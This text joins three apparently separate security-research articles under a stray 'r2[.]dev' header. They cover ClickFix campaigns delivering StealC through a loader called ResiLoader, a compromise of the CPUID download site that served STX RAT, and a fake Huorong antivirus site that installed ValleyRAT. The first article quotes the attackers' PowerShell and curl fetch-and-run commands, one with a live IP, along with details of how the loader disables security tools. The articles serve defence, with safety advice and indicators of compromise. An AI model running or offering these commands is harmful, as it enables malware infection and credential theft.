r2[.]dev

Updated July 6 to add connections with SyncTDS and TrafficTDS ClickFix attacks, which trick people into running malicious commands themselves, continue to evolve. This latest campaign uses fake Google and Cloudflare verification pages to convince victims to infect their own devices. A single mistake can install malware that steals passwords and other sensitive data, gives attackers remote access to your computer, or downloads additional malware that can take full control of your system. We uncovered multiple campaigns using the same infrastructure to deliver malware including HijackLoader, StealC, Remus, Amatera Stealer, CastleLoader, NetSupport, and a Rust-based stealer. In one infection chain, a trojanized version of the legitimate Franz messaging app downloads a previously undocumented loader dubbed ResiLoader, which disables security software before deploying the StealC infostealer. Before we look at the technical details, here’s how to avoid becoming the next victim. How to stay safe ClickFix attacks rely on convincing you to run commands yourself. The safest approach is simple: Never copy and run commands from a website unless you’re following instructions from a trusted source and understand exactly what the command does. Be wary of verification pages. Google, Cloudflare, Microsoft, and other legitimate services will never ask you to paste PowerShell commands into Windows to prove you’re human or fix a problem. Don’t let urgency rush you. Fake verification pages often use countdown timers, visitor counters, or warnings to pressure you into acting quickly. Keep your security software up to date. Real-time protection and web protection can help block malicious websites before you reach them. Question unexpected technical instructions. If a website tells you to open PowerShell, Command Prompt, or Terminal, stop and verify the instructions through the company’s official support channels. Pro tip: Malwarebytes Browser Guard can warn you when a website attempts to copy content to your clipboard—a common trick used by ClickFix pages. Technical analysis The campaigns analysed in this research have been active since at least late 2025 and use a variety of fake Google and Cloudflare pages to deliver malware. Although the lures differ, they share much of the same infrastructure and infection chain, with the attackers continually testing new delivery methods and payloads. Different lures, one goal Most of the campaigns share several characteristics: Use of the folder C:\ProgramData\Zooms to extract later stages PowerShell ClickFix commands that follow similar patterns Use of Cloudflare R2 buckets to deliver payloads IP addresses hosted by the ASN Dedik Services Limited HTML responses containing only the phrase "hehe" These indicators have changed over time, so they don’t appear in every infection chain. The campaigns continue to evolve, with new payloads and delivery methods regularly introduced. For example, in some cases, the IP address is used directly for payload distribution instead of buckets. The final command copied by the user usually falls into this pattern: powershell -c “iex(irm ‘{IP}:{Port}/{Random Path}’ -UseBasicParsing)” The port and the path are not always present in the cases analyzed; the ports are random, but some used ones are: 6600, 9900, 5506, 7895, 7493, 149, 8442. To execute these commands, several ClickFix-related templates are used, mainly related to Google and Cloudflare. We also detected that in some cases the PowerShell command was distributed through the IClickFix framework. We observed these ClickFix campaigns being distributed through: Old websites that have likely expired and been repurchased by the actor(s). CloudFlare Pages (.pages.dev domains). Compromised websites. Fake services, for example related to QR code or web file access. Google ClickFix lures The actors behind these campaigns use various Google-related HTML pages and kits. One lure impersonates Google reCAPTCHA verification. The pages are hosted on random URLs that display fake or malicious content. These domains are often older registrations that recently began resolving to new IP addresses, suggesting they were repurposed for the campaign. Some of these pages have URL parameters like such as “zoneid”, “cost”, “device”, “country”, “clickid”, for example: /conf/captcha.html?zoneid=10420852 /wincapbot/nobot.html /xmr/trkuste.php?zone=5327134 bless.php?zoneid=10327549&clickid=1091581084925173761&cost=0.000000&country=US&device=desktop In this case, the functions related to ClickFix are implemented in the class CustomCaptcha. The command is present in clear without any obfuscation. Another distribution method uses Cloudflare Pages hosted on .pages.dev subdomains. In this case, the HTML page is obfuscated by declaring several variables and XORing them. The deobfuscated code is called SECURITY GATEWAY and it’s composed of the functions GatewayRuntime, RemoteVault, BeaconDispatcher, Clipboard, TokenController, and PanelController. The code allows the attackers to retrieve the command either remotely or locally. In this sample, the malicious PowerShell command is stored locally. We also found that some of these domains have distributed another decoy in the past, in this case associated with an unauthorized Google login. This ClickFix lure asks the user to copy and paste the malicious command to set their device as primary. The interesting part of this ClickFix kit is that it features an “approval gate,” as described in the comments, and that the attacker must manually choose from the panel which command to have the user execute. In more recent campaigns, we’ve detected a ClickFix lure related to Google Meet, which requires copying and pasting a malicious command to fix audio issues. In the analyzed cases, the endpoint /api/driver-clipboard.php returned the following malicious command: {"mac":"curl -kfsSL $(echo '…'|base64 -D)|zsh","windows":"powershell -c \"iex(irm '151.240.151.126/rRlmZcaaZfAE3U2BaH' -UseBasicParsing)\""} Other lures The actors behind this campaign use various kits and lures, mostly related to Google. However, we’ve detected other lures that copied commands related to the same infrastructure. The attackers behind these campaigns also compromise multiple websites using different templates related to the CloudFlare ClickFix lure. We have detected several templates used for CloudFlare pages. The command is present in clear or in some cases obfuscated in the cases analyzed. We also detected some specifically created fake services websites. For example, a “My QR Generator” site displays an obfuscated QR code and asks the user to run a PowerShell command to verify that the user is not a robot. In this case the command is encoded in base-64: PowerShell downloader The ClickFix command executed by the user decodes a script and drops it into the Temp folder with the name tmp{4 char}.tmp.ps1. We have detected several variations of this script, but recent versions do the following: Create the folder C:\ProgramData\Zooms . Download the next stage from a CloudFlare bucket and save it in C:\ProgramData\Zooms . In some variants of the script, the next stage is downloaded directly from an IP. Send the information of the compromised machine to http://{IP}/dl-callback . In some variants of the script, this part is not present. The attackers behind these campaigns use a large number of different payloads.The campaigns deliver a wide variety of payloads. The table below summarises some of the downloaded filenames and the malware they install. For many of the cases analyzed, the final payload was distributed via DLL Hijacking, as we will also see later for StealC stealer. We analyzed a new loader called ResiLoader that ultimately distributes StealC. We also detected that the threat actor in the latest campaigns has started using Deno to distribute a stealer developed in PowerShell at the end; the analysis of this infection chain could be the subject of a future blog post. Trojanized Electron app downloads ResiLoader In this case, the ZIP was downloaded from: pub-7080e0c20a0e47ca95a476869c532367.r2[.]dev/libEGL.zip After extraction to: C:\ProgramData\Zooms\libEGL.zip_ext The zip contains a trojanized version of the open-source messaging app called “Franz”: The malicious code is implemented in the index.js file: The downloader performs the following operations: Decode the strings with the function HC() . Reads readme.txt , expects a campaign key of the formAAAA-BBBB , returns it as an array of tokens. In this case the name isresiloader-1 and for this we call “ResiLoader” the downloaded DLL. Reads %APPDATA%\setup.txt ; if absent, generates a random 8-char string and persists it. Obtaining persistence using app.setLoginItemSettings . Sends a POST request to https[:]//completstep[.]com/api/ and elaborate the JSON response - If task.e is present, it executeseval(task.e) ; it allows the attacker to execute arbitrary JavaScript code. - If task.files is present, create%TEMP%\ \ , decode and write each file; if any filename ends in.exe , run it viachild_process.exec . If In our case we received a ZIP that performs the DLL hijacking of ssh-add.exe: {"task":{"name":"JUNE18USY","files":{ "msys-2.0.dll":" ", "msys-crypto-3.dll":" ", "msys-gcc_s-seh-1.dll":" ", "ssh-add.exe":" " }}} After, the executable was executed with: C:\WINDOWS\system32\cmd.exe /d /s /c ""C:\Users\{user}\AppData\Local\Temp\1782122017599\ssh-add.exe"" ResiLoader The msys-crypto-3.dll is an obfuscated .NET NativeAOT loader that implements AV/EDR evasion using a BYOD technique, obtain persistence and ultimately loads the stealer StealC. We didn’t find a specific attribution for this loader and so we called it “ResiLoader” based on the string present in previous readme.txt. The loader contains several strings, some clear and some encrypted. After decrypting the strings, it’s possible to have a full picture of the functionality of the ResiLoader. MANPO: ReadModule len=... MANPO: magicOffset=... … PERS: FAIL all file copies failed, skipping run key PERS: FAIL both HKLM and HKCU Run key writes failed … RUNPE: CreateProcess failed RUNPE: PEB patched RUNPE: VirtualAllocEx failed … POST: RunForever exited (unexpected) POST: entering RunForever POST: hollow= The loader performs the following operations: Extract the encoded blob containing two payloads reading the marker AtLorenBase and the length of the encoded blob. After, it decodes the blob and decrypts the driverpcdhost.sys (OPSWAT AppRemover Driver) and StealC payload using a custom decryption algorithm. Terminate more than 140 processes related to EDR/AV processes using the dropped driver. Perform UAC bypass via ICMLuaUtil Elevated COM Interface. Create a folder C:\ProgramData\Google Update , copying itself; adding persistence using the RUN Registry Key cmd /c start "" /D "C:\ProgramData\Google Update" ssh-add.exe In the end, the loader performs process hollowing of the process ServiceModelReg.exe to run the StealC stealer. Connections with SyncTDS and TrafficTDS We found several other ClickFix campaigns and kits potentially linked to the same operator(s), although there is not enough evidence to confirm this. The domain dasdasdikasjdas[.]click resolves to one of the IPs related to this campaign 151[.]240[.]151[.]126. The domain previously returned a panel called “SyncTDS”. We found more than 20 domains that return the SyncTDS related panel. This panel has also changed graphics over time. One of these “SyncTDS” domains, maskingofking[.]xyz, resolves to 193.111.117[.]6 which hosts several ClickFix-related domains and an open directory containing an interesting kit called “TrafficTDS.” This kit allows the operator to support different payloads related to Windows, Linux, MacOS and Android. In this case, the pages shown to the user are related to ClickFix with a CloudFlare lure. One of the most interesting parts of this kit is the “APK manager” section, which allows the operator to show the user an “Update Required” page to download the malicious APK. IOCs Hash 72907d0ca3258365838626f6a8d993a6: ResiLoader DLL 0234E3188F2883A438B3F2BEAB7A78B2: StealC 6a9ac6b3fff7b695dbd4df6ff7f6c516: Remus 206ce339febca0c3bcc850f42595fc63: Amatera Stealer eee416efcb1e33f220cdb4b05496a07a: NetSupport RAT b8d53740024d126cb55f83854335a4ab: Rust Stealer Domains Distribute ClickFix pages: onegeekworld[.]com thefirmos[.]com antibotv3[.]com centralwildcats[.]com cloud.antibotv3[.]com cloudautosolutions[.]com sunseekersupply[.]com 123clocks[.]com orcanegames[.]com rwmonitoring[.]com 100furniture[.]com nepalcharchaa[.]com p-floribunds.pages[.]dev pg-altirade2.pages[.]dev pg-cordivant-m6.pages[.]dev g-luminence.pages[.]dev generator-qrcode[.]online regdev-google[.]com khosla[.]capital eorgke09054909j[.]com dropboxi[.]com CloudFlare buckets used for payload distribution: pub-4ed7b8ecee744dea930d74ba4ac74285.r2[.]dev pub-620528e2dc874e16937673265aa23d39.r2[.]dev pub-4ed7b8ecee744dea930d74ba4ac74285.r2[.]dev pub-9682d5896df841679c5a17eb41273f89.r2[.]dev pub-18d99d0d18b94e85824c1cc4d5b5c637.r2[.]dev pub-0170eabb9df346bd822f863b7c3946e3.r2[.]dev pub-4ed7b8ecee744dea930d74ba4ac74285.r2[.]dev unitedstateverif[.]com: payload distribution bigflaredefence[.]com: payload distribution popularcard[.]shop: Rust Stealer C2 xzz[.]proxygrid[.]cc: Amatera Stealer C2 completstep[.]com: Loader C2 eventlogerps1[.]ink: Deno Loader be231ro963[.]com: Deno Loader IPs IP used for payload distribution: 151.240.151[.]126 85.239.149[.]16 85.239.149[.]40 93.152.224[.]29 151.240.151[.]46 93.152.224[.]167 85.239.149[.]78 192.69.195[.]131 135.181.171[.]40 94.26.83[.]206 91.92.34[.]128 85.239.144[.]31 93.152.224[.]39 94.26.90[.]112 146.19.248[.]120: StealC C2 Acknowledgements Related domain reported: https://x.com/stop_spammerz/status/2070152741037477960 Related domain reported: https://x.com/Yuki27183/status/2047354005605777850 User infection reported on Reddit: https://www.reddit.com/r/antivirus/comments/1stn24v/best_thing_to_do_after_getting_malware/ Possible related infection chain https://github.com/MessyToilet/csgo-scam-via-powershell-5-31-2026 Similar open directory reported: https://x.com/malwrhunterteam/status/2062241642627694690 Similar campaign reported: https://x.com/stop_spammerz/status/2062269326292324592

Unknown threat actors compromised CPUID ("cpuid[.]com"), a website that hosts popular hardware monitoring tools like CPU-Z, HWMonitor, HWMonitor Pro, and PerfMonitor, for less than 24 hours to serve malicious executables for the software and deploy a remote access trojan called STX RAT. The incident lasted from approximately April 9, 15:00 UTC, to about April 10, 10:00 UTC, with the download URLs for CPU-Z and HWMonitor installers replaced with links to malicious websites. In a post shared on X, CPUID confirmed the breach, attributing it to a compromise of a "secondary feature (basically a side API)" that caused the main site to randomly display malicious links. It's worth noting that the attack did not impact its signed original files. According to Kaspersky, the names of the rogue websites are as follows - cahayailmukreatif.web[.]id pub-45c2577dbd174292a02137c18e7b1b5a.r2[.]dev transitopalermo[.]com vatrobran[.]hr "The trojanized software was distributed both as ZIP archives and as standalone installers for the aforementioned products," the Russian cybersecurity company said. "These files contain a legitimate signed executable for the corresponding product and a malicious DLL, which is named 'CRYPTBASE.dll' to leverage the DLL side-loading technique." The malicious DLL, for its part, contacts an external server and executes additional payloads, but not before performing anti-sandbox checks to sidestep detection. The end goal of the campaign is to deploy STX RAT, a RAT with HVNC and broad infostealer capabilities. STX RAT "exposes a broad command set for remote control, follow-on payload execution, and post-exploitation actions (e.g., in-memory execution of EXE/DLL/PowerShell/shellcode, reverse proxy/tunneling, desktop interaction)," eSentire said in an analysis of the malware last week. The command-and-control (C2) server address and the connection configuration have been reused from a prior campaign that leveraged trojanized FileZilla installers hosted on bogus sites to deploy the same RAT malware. The activity was documented by Malwarebytes early last month. Breakglass Intelligence, in its own analysis of the CPUID hack, said the attack was part of a 10-month campaign that commenced in July 2025, when the earliest known sample ("superbad.exe") was observed communicating with the C2 address ("95.216.51[.]236"). It's assessed that the breach is the work of a Russian-speaking threat actor who is either financially motivated or operates as an initial access broker. Kaspersky said it has identified more than 150 victims, mostly individuals who were affected by the incident. However, organizations in retail, manufacturing, consulting, telecommunications, and agriculture have also been impacted. Most of the infections are located in Brazil, Russia, and China. "The gravest mistake attackers made was to reuse the same infection chain involving STX RAT, and the same domain names for C2 communication, from the previous attack related to fake FileZilla installers," Kaspersky said. "The overall malware development/deployment and operational security capabilities of the threat actor behind this attack are quite low, which, in turn, made it possible to detect the watering hole compromise as soon as it started." (The story was updated after publication on April 13, 2026, to include additional insights from Breakglass Intelligence.)

A convincing lookalike of the popular Huorong Security antivirus has been used to deliver ValleyRAT, a sophisticated Remote Access Trojan (RAT) built on the Winos4.0 framework, to users who believed they were improving their security. The campaign, attributed to the Silver Fox APT group—a Chinese-speaking threat group known for distributing trojanized versions of popular Chinese software—uses a typosquatted domain to serve a trojanized NSIS installer that deploys a full-featured backdoor with advanced user-mode stealth and injection capabilities. A fake site built to catch security-conscious users Huorong Security—known in Chinese as 火绒—is a free antivirus product developed by Beijing Huorong Network Technology Co., Ltd., and widely used across mainland China. The attackers registered huoronga[.]com—note the extra “a” at the end—as a near-perfect imitation of the legitimate huorong.cn. This typosquatting technique catches users who mistype the address or arrive via search engine poisoning or phishing links. The fake site looks convincing enough that most visitors would have no obvious reason to suspect anything is wrong. When a visitor clicks the download button, the request is silently routed through an intermediary domain (hndqiuebgibuiwqdhr[.]cyou) before the final payload is served from Cloudflare R2 storage—a legitimate cloud service chosen for its trusted reputation and availability. The file is named BR火绒445[.]zip, using the Chinese name for Huorong to maintain the disguise up to the moment of execution. What happens after you click download Inside the ZIP archive is a trojanized NSIS installer (Nullsoft Scriptable Install System), a legitimate open-source framework used by many real applications. Its use here is deliberate: an NSIS-built executable raises fewer red flags than a custom packer, and the installation experience feels normal. When executed, the installer drops a desktop shortcut named 火绒.lnk (Huorong.lnk), reinforcing the illusion that the antivirus installed successfully. At the same time, it extracts a cluster of files into the user’s Temp directory. Most are genuine supporting libraries or decoy executables meant to mimic a real installation, including copies of FFmpeg multimedia DLLs, a file posing as a .NET repair tool, and another mimicking a Huorong diagnostic utility. The malicious components include: WavesSvc64.exe: the main loader, disguised as a Waves audio service process DuiLib_u.dll: a hijacked DirectUI library used for DLL sideloading box.ini: an encrypted file containing shellcode How Windows is tricked into loading malware The core technique is DLL sideloading, a technique attackers use to trick Windows into loading a malicious file instead of a legitimate one. WavesSvc64.exe appears legitimate—its PDB path references a gaming application code directory—so Windows loads it without complaint. When it runs, Windows automatically loads DuiLib_u.dll alongside it. That DLL has been replaced with a malicious version that reads encrypted shellcode from box.ini, decrypts it, and executes it directly in memory. Rather than dropping a single monolithic backdoor executable, the chain culminates in in-memory shellcode execution loaded from files dropped to disk (e.g., box.ini) via DLL sideloading. The shellcode-based chain is consistent with the Catena loader pattern documented by Rapid7, where signed or legitimate-looking executables bundle attack code in .ini configuration files and use reflective injection to execute it while leaving a minimal forensic footprint. How the backdoor becomes permanent Behavioral analysis shows a methodical infection chain: 1. Defender exclusions The malware spawns PowerShell at high integrity level and instructs Windows Defender to ignore its persistence directory (AppData\Roaming\trvePath) and its main process (WavesSvc64.exe). After these commands execute, Windows Defender is less likely to scan the malware’s chosen path/process, materially reducing native detection. 2. Persistence It creates a scheduled task named Batteries (observed as C:\Windows\Tasks\Batteries.job). On every subsequent boot, the task launches WavesSvc64.exe /run from the persistence directory, reapplies Defender exclusions, and reconnects to command and control (C2). 3. File refresh To evade signature-based detection, the malware deletes and re-writes WavesSvc64.exe, DuiLib_u.dll, libexpat.dll, box.ini, and vcruntime140.dll. Deletion of these files alone may not fully remediate the infection, as the malware demonstrates the ability to re-write core components during execution. 4. Registry storage Configuration data, including the encoded C2 domain yandibaiji0203.[]com, is written to HKCU\SOFTWARE\IpDates_info. A secondary key at HKCU\Console\0\451b464b7a6c2ced348c1866b59c362e stores encrypted binary data likely used for malware configuration or payload staging. How it avoids detection Beyond disabling Defender, ValleyRAT takes steps to avoid detection and analysis. It checks for debuggers and forensic tools by looking for characteristic window titles. It probes BIOS version, display adapters, and VirtualBox registry keys to detect virtual machines—the sandboxes researchers use to analyze malware safely. It also checks available memory and disk capacity, and inspects locale and language settings, likely as a geofencing measure to confirm it is running on a Chinese-language system before fully deploying. Command-and-control communications The Winos4.0 stager connects to its C2 server at 161.248.87.250 over TCP port 443. Using TCP 443 provides camouflage at the port level; however, inspection revealed a custom binary protocol rather than standard TLS-encrypted HTTPS. Network intrusion detection systems triggered Critical-severity alerts for Winos4.0 CnC login and server-response messages, and a high-severity alert for ProcessKiller C2 initialization. C2 traffic was observed originating from rundll32.exe, which executed with the command line “rundll32.exe”—lacking the typical , argument structure. In environments with command-line and parent-child process monitoring, this execution pattern is a high-confidence anomaly. Sandbox analysis extracted multiple WinosStager plugin DLLs from the rundll32 process, confirming the modular architecture that makes ValleyRAT particularly dangerous: capabilities are not bundled in a single monolithic binary but downloaded on demand. The ProcessKiller component is particularly concerning. Network telemetry indicates ProcessKiller C2 initialization, consistent with a module associated in prior reporting with terminating security software. Previous ValleyRAT/Winos4.0 campaigns targeted security products from Qihoo 360, Huorong, Tencent, and Kingsof—indicating the potential to terminate security software, including the product it impersonated as a lure. Post-compromise capabilities In short, once it’s installed, attackers can monitor the victim, steal sensitive information, and remotely control the system. Sandbox analysis confirmed the following behaviors once the malware has a foothold: Keylogging via a system-wide keyboard hook installed through SetWindowsHookExW in the rundll32 process, capturing every keystroke. Process injection: WavesSvc64.exe creates suspended processes and writes to the memory of other processes for stealth code execution. Credential access: the malware reads credential-related registry keys and touches browser cookie files. System reconnaissance: queries hostname, username, keyboard layout, locale, running processes, and physical drives. RWX memory regions created inside rundll32.exe consistent with in-memory execution, reducing reliance on additional dropped payload executables. Self-cleanup: deletes its own executed files and performs deletion of 10 or more additional files to obstruct forensic recovery. The malware creates mutexes including the dated string 2026. 2. 5 and the path C:\ProgramData\DisplaySessionContainers.log, and writes a log file at that location. Who’s behind this campaign? This campaign fits the established pattern of Silver Fox operations. The group has repeatedly used trojanized installers of widely trusted Chinese software to distribute ValleyRAT and the Winos4.0 framework. Previous lures included QQ Browser, LetsVPN, and gaming applications. Impersonating a security product raises the stakes. The victims are not just casual users—they are actively looking for protection. The targeting remains consistent. Chinese-language filenames, the Huorong lure, and built-in locale checks all point to a geographically focused campaign. However, the public leak of the ValleyRAT builder on GitHub in March 2025 significantly lowered the barrier to entry. Researchers identified approximately 6,000 related samples between November 2024 and November 2025, with 85% appearing in the latter half of that period. That increase suggests the tooling is spreading beyond a single operator. How to stay safe This campaign shows how easily trust can be turned against users. The attackers didn’t need a zero-day exploit. They needed a convincing website, a realistic installer, and the knowledge that many people will search for a product name and click the first result. When the lure is a security product, the deception is even more effective. Here’s what to check: Verify download sources. The legitimate Huorong Security website is huorong.cn. Always double-check the domain before downloading security software—a single extra character can lead to a malicious site. Monitor Windows Defender exclusions. Any Add-MpPreference command you did not initiate is a strong indicator of compromise. Audit exclusions regularly. Hunt for persistence artifacts. Search endpoints for a scheduled task or job named Batteries (artifact observed as C:\Windows\Tasks\Batteries.job ), the%APPDATA%\trvePath\ directory, and the registry keyHKCU\SOFTWARE\IpDates_info . Block outbound connections to 161.248.87.250 at the firewall and deploy IDS rules for Winos4.0 C2 signatures (ET SIDs 2052875, 2059975, and 2052262). Alert on process anomalies. Rundll32.exe without a legitimate DLL argument, and WavesSvc64.exe outside a genuine Waves Audio installation, are high-confidence indicators. Malwarebytes detects and blocks known variants of ValleyRAT and its associated infrastructure. Indicators of Compromise (IOCs) Infrastructure Fake websites: - huoronga[.]com - huorongcn[.]com - huorongh[.]com - huorongpc[.]com - huorongs[.]com Redirect domain: hndqiuebgibuiwqdhr[.]cyou Payload host: pub-b7ce0512b9744e2db68f993e355a03f9.r2[.]dev C2 IP: 161.248.87[.]250 (TCP 443, custom binary protocol) Encoded C2 domain: yandibaiji0203[.]com File hashes (SHA-256) 72889737c11c36e3ecd77bf6023ec6f2e31aecbc441d0bdf312c5762d073b1f4 (NSIS installer) db8cbf938da72be4d1a774836b2b5eb107c6b54defe0ae631ddc43de0bda8a7e (WavesSvc64.exe) d0ac4eb544bc848c6eed4ef4617b13f9ef259054fe9e35d9df02267d5a1c26b2 (DuiLib_u.dll) 07aaaa2d3f2e52849906ec0073b61e451e0025ef2523dafbd6ae85ddfa587b4d (WinosStager DLL #1) 66e324ea04c4abbad6db4f638b07e2e560613e481ff588e0148e33e23a5052a9 (WinosStager DLL #2) 47df12b0b01ddca9eb116127bf84f63eb31e80cec33e4e6042dff1447de8f45f (WinosStager DLL #3) Host-based indicators Scheduled task named Batteries atC:\Windows\Tasks\Batteries.job Persistence directory: %APPDATA%\trvePath\ Registry key: HKCU\SOFTWARE\IpDates_info Registry key: HKCU\Console\0\451b464b7a6c2ced348c1866b59c362e Log file: C:\ProgramData\DisplaySessionContainers.log Processes: WavesSvc64.exe ,rundll32.exe (without DLL argument) MITRE ATT&CK T1189 — Drive-by Compromise (Initial Access) T1059.001 — PowerShell (Execution) T1053.005 — Scheduled Task (Persistence) T1562.001 — Impair Defenses: Disable or Modify Tools (Defense Evasion) T1574.002 — DLL Side-Loading (Defense Evasion) T1027 — Obfuscated Files or Information (Defense Evasion) T1218.011 — Rundll32 (Defense Evasion) T1555 — Credentials from Password Stores (Credential Access) T1082 — System Information Discovery (Discovery) T1057 — Process Discovery (Discovery) T1056.001 — Keylogging (Collection) T1071 — Application Layer Protocol (Command and Control) T1070.004 — Indicator Removal: File Deletion (Defense Evasion) Something feel off? Check it before you click. Malwarebytes Scam Guard helps you analyze suspicious links, texts, and screenshots instantly. Available with Malwarebytes Premium Security for all your devices, and in the Malwarebytes app for iOS and Android.